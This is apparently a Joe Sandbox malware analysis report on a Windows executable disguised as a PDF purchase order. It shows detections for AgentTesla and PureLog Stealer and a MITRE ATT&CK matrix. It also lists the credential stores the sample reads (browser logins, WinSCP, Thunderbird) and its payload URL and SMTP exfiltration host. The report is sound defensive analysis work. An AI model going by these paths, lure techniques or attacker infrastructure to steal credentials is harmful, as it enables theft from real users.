Source: Yara match	File source: 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 4332, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.5db0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43a3c18.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43cbc38.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.487bcb8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.487bcb8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.5db0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43cbc38.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43a3c18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2428175069.000000000487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2435951249.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2428175069.0000000004179000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.New order -24900242 OP_pdf .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 4332, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.New order -24900242 OP_pdf .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 4332, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.5db0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43a3c18.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43cbc38.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.487bcb8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.487bcb8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.5db0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43cbc38.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.43a3c18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2428175069.000000000487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2435951249.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2428175069.0000000004179000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New order -24900242 OP_pdf .exe	18%	ReversingLabs	Win32.Trojan.CrypterX
New order -24900242 OP_pdf .exe	38%	Virustotal		Browse
New order -24900242 OP_pdf .exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://103.74.105.78	0%	Avira URL Cloud	safe
http://103.74.105.78/GRANADA/Znusl.vdf1eObNHCDLBXwj6P8DEbpy/A==	0%	Avira URL Cloud	safe
http://103.74.105.78/GRANADA/Znusl.vdf	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0-	0%	Avira URL Cloud	safe
http://smtp.creolupatoto.it	0%	Avira URL Cloud	safe
http://103.74.105.78/GRANADA/Znusl.vdf	3%	Virustotal		Browse
http://103.74.105.78	0%	Virustotal		Browse
http://103.74.105.78/GRANADA/Znusl.vdf1eObNHCDLBXwj6P8DEbpy/A==	2%	Virustotal		Browse
http://r3.i.lencr.org/0-	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sasl116.shellrent.com	185.169.24.118	true	false	high
api.ipify.org	172.67.74.152	true	false	high
smtp.creolupatoto.it	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://103.74.105.78/GRANADA/Znusl.vdf	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://103.74.105.78	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r3.i.lencr.org/0-	New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://account.dyn.com/	New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://103.74.105.78/GRANADA/Znusl.vdf1eObNHCDLBXwj6P8DEbpy/A==	New order -24900242 OP_pdf .exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r3.o.lencr.org0	New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sasl116.shellrent.com	New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://smtp.creolupatoto.it	New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.169.24.118	sasl116.shellrent.com	Italy	51191	XIRRADE	false
103.74.105.78	unknown	Viet Nam	135695	BABEL-AS-INBabelMediaIndiaPvtLtdIN	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1424345
Start date and time:	2024-04-11 10:39:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New order -24900242 OP_pdf .exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 94 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target New order -24900242 OP_pdf .exe, PID 7120 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:40:33	API Interceptor	32x Sleep call for process: New order -24900242 OP_pdf .exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.74.152	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	FACT AZUR TJ .pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Po094847 Urgent .exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Win32.TrojanX-gen.16521.31249.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	FACTURAS PENDIENTES.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Invoice.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	BBL ADVICE FOR INWARD_BC I650120-000_04012024.vbs	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	purchase_order T&B19-20PO128.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Payment_Advice.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Quotation[MPI-240401.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
XIRRADE	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	195.138.242.157
	MaMsKRmgXZ.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	Product24573.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Siirtokuitti_006703.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product7825.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	535276_86376.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product_List.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	PS_231.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	KD_MEDICAL_POLSKA_23053371.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
BABEL-AS-INBabelMediaIndiaPvtLtdIN	bTxb.exe	Get hash	malicious	Remcos	Browse	103.74.103.65
	bTxe.exe	Get hash	malicious	Remcos	Browse	103.74.103.65
	bTwX.exe	Get hash	malicious	Remcos	Browse	103.74.103.65
	bTud.exe	Get hash	malicious	Remcos	Browse	103.74.103.65
	bulu.arm7-20240128-1636.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
	MXOmyzLhnH.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
	PPdF60zXkz.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
	YeI6g9Mz9k.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
	bulu.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
	bulu.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	103.74.100.192
CLOUDFLARENETUS	FACT AZUR TJ .pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	https://office.com+accounts=login+settings=private@m.exactag.com/ai.aspx?tc=d9110214bc40b07205bbd26a23a8d2e6b6b4f9&url=%68%74%74%70%25%33%41zemantools.com%2Fwell-known%2F1710753%2F%2FY2hyaXN0b3BoZS5sZWdyb3NAYWZ0cmFsLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://minhaclaro.dtmmkt.com.br/effectivemail/redirecionaclique.aspx?idabordagem=5252932746&idlink=12609016866&endereco=//483.estatesalehelp.com//YWxpc3RhaXIuZ29yZG9uQGRhaWljaGktc2Fua3lvLmNvLnVr	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Phisher	Browse	172.67.143.81
	MT103 Payment.vbs	Get hash	malicious	FormBook	Browse	104.21.84.67
	Po094847 Urgent .exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://www.ohp-puteaux.fr/	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://www.sauvegarde-yvelines.org/	Get hash	malicious	Unknown	Browse	104.21.64.161
	https://urldefense.com/v3/__https://adclick.g.doubleclick.net/pcs/click?b2tuY41515N2435yMX419snVO7695-2024-McWAN324SCAN&&adurl=Atracker.club-os.comCcampaignclick8ymfqmsgId=d738c6bd137e6a03157c6c728cbc659e734fc39826test=false26target=neopartsBcomBbr2Fdodo2Fes8qj2F*2FamxpbjJAbW9vZy5jb20=$__;Ly8vLy8vLy8_JSXjgILjgIIlJSUl!!EhqYCQ!fXdc6vQjcCJOoS8BYlNUvv3DEx-Bdjf9gHdJcCKMrE6GO7o-8hvti7bNgb9cqWsZW4YBRttxc-7pog$	Get hash	malicious	Unknown	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	FACT AZUR TJ .pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	MT103 Payment.vbs	Get hash	malicious	FormBook	Browse	172.67.74.152
	Po094847 Urgent .exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	anXHkKikd6.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	SecuriteInfo.com.Variant.Marsilia.120335.22241.7512.exe	Get hash	malicious	Moneroocean Miner, Xmrig	Browse	172.67.74.152
	SecuriteInfo.com.Win32.TrojanX-gen.16521.31249.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	FACTURAS PENDIENTES.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://sanmarinoweekly.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
	http://themancav.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	AdluminUpdater.exe	Get hash	malicious	Unknown	Browse	172.67.74.152

Process:	C:\Users\user\Desktop\New order -24900242 OP_pdf .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	5.352154694194798
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3oPtHo6hAHKzeRHKx1qHj
MD5:	D5F0E53F52AB8FA3BEB3D61F6DD7E35C
SHA1:	1FCEEB1CA14EAABC17D427180A436779E5834096
SHA-256:	6D8230D75A1F0383C58AF007EAFE73519258929DB9D89F1B73E8B461D50DE639
SHA-512:	8F7B192D1ECDA2D142E6DD758426A637D96F5EE1687DDE2E2256EDAB62139754A830A96697601765622413A1F9F85A47C07537C524CF4D206025006C6474BEA9
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, Publi

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.482644596034222
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	New order -24900242 OP_pdf .exe
File size:	283'648 bytes
MD5:	deb84c3c4ea80ce056fa8a91952d8644
SHA1:	e6b08d62c2d9ad447b1654941b8dd6abece5f20e
